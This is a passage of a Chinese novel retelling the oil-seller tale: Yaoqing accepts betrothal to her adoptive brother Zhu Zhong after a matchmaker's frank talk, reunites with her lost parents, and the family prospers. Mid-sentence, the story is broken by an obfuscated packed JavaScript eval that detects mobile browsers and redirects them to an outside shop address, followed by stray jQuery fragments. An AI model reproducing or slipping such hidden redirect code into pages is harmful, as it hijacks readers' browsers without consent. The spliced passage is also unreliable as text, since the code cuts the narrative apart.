朱十老道:“美儿,你年龄虽小,却可以先定婚,过几年再成亲,不碍事的。
正因你年龄小,见的人不多,爹才要替你拿主意。
爹这辈子所见的人里,你大哥算是底层百姓里第一流的人物了。虽然识字不多,但人长得清秀斯文,性情也好,人品也没得说。
更重要的是,你们打小就认识,还有中表之亲,如今又同在我家。
你们俩成亲,那便是亲上加亲,天造地设,再好也没有的了。而且你又无需出门子,从自家嫁到自家,一切花费都在爹身上。
成亲前是咱们三个一起住,成亲后仍是咱们三个一起住,没什么变化,你也无需适应新的生活环境。”
瑶琴还是推辞,朱十老也不便深劝。
他知道以女儿这般的人品样貌,她自己眼光必然很高,或许瞧不上朱重。
如果再要劝说,让女儿亲口说出瞧不上朱重的话来,反而伤了一家人的情分。
因此,他在女儿面前便不再提此事。
不过,私底下他还是惦记着女儿的婚事。
于是,他去找了邻居家的王媒婆,说道:“王大姐,我女儿你也见过,以她这样的相貌才华,一般人也配不上她。不知您可认识什么能跟她相配的子弟么?
若有,千万玉成我女儿,谢媒钱我早已准备好了。”
王媒婆笑道:“现成的女婿,你家里就有一个,何必舍近求远?”
“你是说朱重?我对女儿提过,她好像不太愿意。”
“也是,朱重这孩子虽然不错,但要跟美儿相配,还是差了一截。美儿年轻,心气高,难免不愿意。待我去劝她一劝。”
于是,王媒婆便来找瑶琴。喝过茶、叙过寒温后,王媒婆看着瑶琴,直呼可惜。
瑶琴问道:“王大婶何出此言?”
王媒婆道:“我是可惜了你这么一个标致的美人,又有才华,又能刺绣,琴棋书画无一不精。若是生在富贵之家,必能匹配一个最优秀的王孙公子。
偏偏生于小户人家,如同明珠蒙尘,实为可叹。”
这话说中了瑶琴的心事,她对王媒婆道:“不怕王大婶笑话,我从小便想嫁一个有才有貌、性情温和、能跟我有共同语言的郎君。至于贫富贵贱,倒不十分要紧。若嫁不着,我宁可独身,绝不将就。”
“美儿,你想要的那种男人,都是富贵之家才有。你是小家女,即便结识了王孙公子,最好的命运不过是嫁过去做妾,让他们娶你为妻是不可能的。
能娶你为妻的子弟,必然是跟你家条件差不多的,那他们必然不会有你这般的才华和品性。
你学什么都快,都学得精,这是你天生的,旁人拍马不及。
但你若要以自己的才华去衡量身边的后生,只怕他们都会被你筛选下去,你岂不是白白耽误了一世?
要我说,你身边若有人能占得七分好处,便差不多了,不必强求他有十分的好处。
这世上的事,从来就没有十全十美的。
我实话跟你说吧,只有一种女子,能以小门小户的身份,游走于王孙公子之间,诗词唱和,赏花游湖,十分自在。
一般的富户子弟,想见一面还不能呢。”
“大婶说的是何等女子?”
“我说的便是烟花巷里的雅妓花魁。
在烟花巷里,鸨母们买回小女孩来,其中若有相貌出众的,她们便着力培养,琴棋书画,歌舞弹唱,无一不教,无一不学。
等学上几年,也有如你这般的才华品貌,自然声名远播。
那些王孙公子们闻其雅名,多愿意花钱结交,甚至一掷千金。
去烟花巷里的那些富贵公子,也知情识趣、能诗能文,正合你的心意。
只是,沦落到烟花巷中,你肯定不愿。”
瑶琴惊得站起:“这我自然不愿!”
“所以我说,世上的事就没有十全十美的。
你若要好好地做个人,一辈子有尊严,那便只能像其他正常人那样,选择一个还过得去的夫婿,生儿育女,过一辈子,将来也有人养老送终;
你若不愿将就普通人,也不愿攀附权贵去做妾,更不愿为了结交风流雅士而沦落烟花巷中,那边只能一直保持独身,寻个活计养活自己。
一辈子独身的女子虽少,但也是有的。
如果走这条路,能养活自己,不依靠任何人,倒也受人尊重。
你若只求有品貌相当的文人雅士跟你来往,不辜负了你的青春和品貌,那就只有到烟花巷中。
只是那样一来,便从普通人沦为下等人了。
那些王孙公子跟你交往时,自然哄着你,捧着你,让你产生你跟他们是同一阶级的错觉;
若腻了你时,弃如敝屣,甚至横加羞辱,也是有的。
更何况,身为女子,谁愿意一年到头换数十个甚至几百个男人,把身体当作谋生的手段?
所以说,要走哪条路,你要早做打算,不要到时候两头不着。”
听了王媒婆这番话,瑶琴豁然开朗。
自己这样的才貌,在底层百姓中本就少有。如果不能放下身段,迟早为自己的才貌所误。
朱重确实有七分好处,所缺者不过是才华。
自己若嫌他才华不够,也可以慢慢教他。
但朱重的品性却是难得的。
而且这些年,他对自己的好,自己也都记在心里。
自己心里对他,似乎也不全然是兄妹之情。
因此,她便应允了朱十老的提议,跟义兄朱重订婚。
定婚之后,两人感情更加好了。
瑶琴心中只有一个遗憾,就是还没有找到亲生父母。
这日,朱重和朱十老商议,要再招个伙计。
朱十老年老多病,朱重平日里又要外出卖油,没有看店的人。
瑶琴虽然能看店,但朱重又怕她太过貌美,被来买油的人调戏。
于是,父子俩商议定了,便找了个中人来,让他帮忙找个伙计。
没过几日,中人便带来一对老夫妻,说这老夫妻本是汴京人,家里原也是开粮油铺子的,跟朱十老家是老本行。
如今这夫妇二人年老无依,想寻个活计,老爹爹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617227|206108||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可以看店搬货,老妈妈可以缝补浆洗。夫妻俩想在一处干活,不愿分开。
所以中人把他夫妻俩都引来了,让朱十老看看合不合适。
朱十老见这老夫妻大约五十岁出头,都挺面善的,只是满脸风霜之色,恐怕这些年比较奔波劳碌。
朱十老又问这老夫妻姓名。老爹爹名叫莘善,老妈妈姓阮。
朱十老见他们夫妻虽然年纪较大,但看起来还有力气,便将他们都留下干活。
朱重和瑶琴听闻家里来了新伙计,也都走出来看。
没想到,瑶琴一见那老夫妻的面,愣了一下,便扑到他们怀里痛哭。
那对老夫妻初时还不解其意,及至仔细观察,方察觉这女孩便是自己走散的女儿瑶琴,因此也放声痛哭。
一家人相认,把旁边的人都看呆了。
瑶琴询问父母:“爹娘为何现在才来?”
莘善道:“自从那年跟你失散,我和你娘到处找你,走了许多地方,都没有消息。近日听闻杭州城内,有许多南渡之人定居,我们想着,你或许在此,于是便来了杭州。
我们本想寻个活计,再慢慢寻你。没想到,我们找到的东家,就是收养你的人家。”
当下众人都唏嘘不已,直说天缘凑巧。
瑶琴又让朱重上前拜见,说是女婿。
莘善夫妻俩见了朱重这样清秀老实的女婿,且又听闻是汴京同乡,十分欢喜。
直到此时,瑶琴才说出自己的真实身世。自己并非是朱重的表妹,实际上只是萍水相逢,但跟朱重也是同乡。自己本名叫莘瑶琴。
朱十老挽留莘善夫妻俩在此长住,一来他们是自家油铺的伙计,二来也是自家儿媳的父母,合该住在一处。
这样,朱重、瑶琴小两口养老也方便。
于是,莘善老两口也在朱家住了下来,内外帮衬。
虽是三个小家庭,如今却亲如一家。
一家几口,劲往一处使,很快就把油铺生意越做越大,盘下了附近的几间店面,扩建了店铺。
几年之后,这一家人便积攒了不少金银财宝,房产田地,渐渐的成为大富之家。
朱重也找到了自己的生父朱良,原来父亲在三天竺那边的法喜寺出家。
三天竺都是山路,路远难行,也难怪朱重这些年都未曾见到父亲。
朱良出家已久,习惯了蔬食饮水的生涯,不愿跟朱重回家。
只是听闻朱重已娶了瑶琴,也十分欢喜,嘱咐他们要夫妻和顺。
朱重见父亲不愿回家,便每年带着家人来看他数次,添些香火钱。
后来,朱重和瑶琴生下一儿一女,日子美满幸福。
两个孩子一出生便过的是花团锦簇的日子,又有爷爷、外公外婆三个长辈疼爱,不仅衣食丰足,还长得玉雪可爱,让其他人很是羡慕。
两个孩子每常出门,必定是奴仆成群,前呼后拥,意气扬扬,想要什么立刻便有人置办,可以说自小不识愁滋味。
坊间流传着一句俗语:“卖油郎娶天仙女,又生人间富贵花。”说的便是朱重和瑶琴之事也。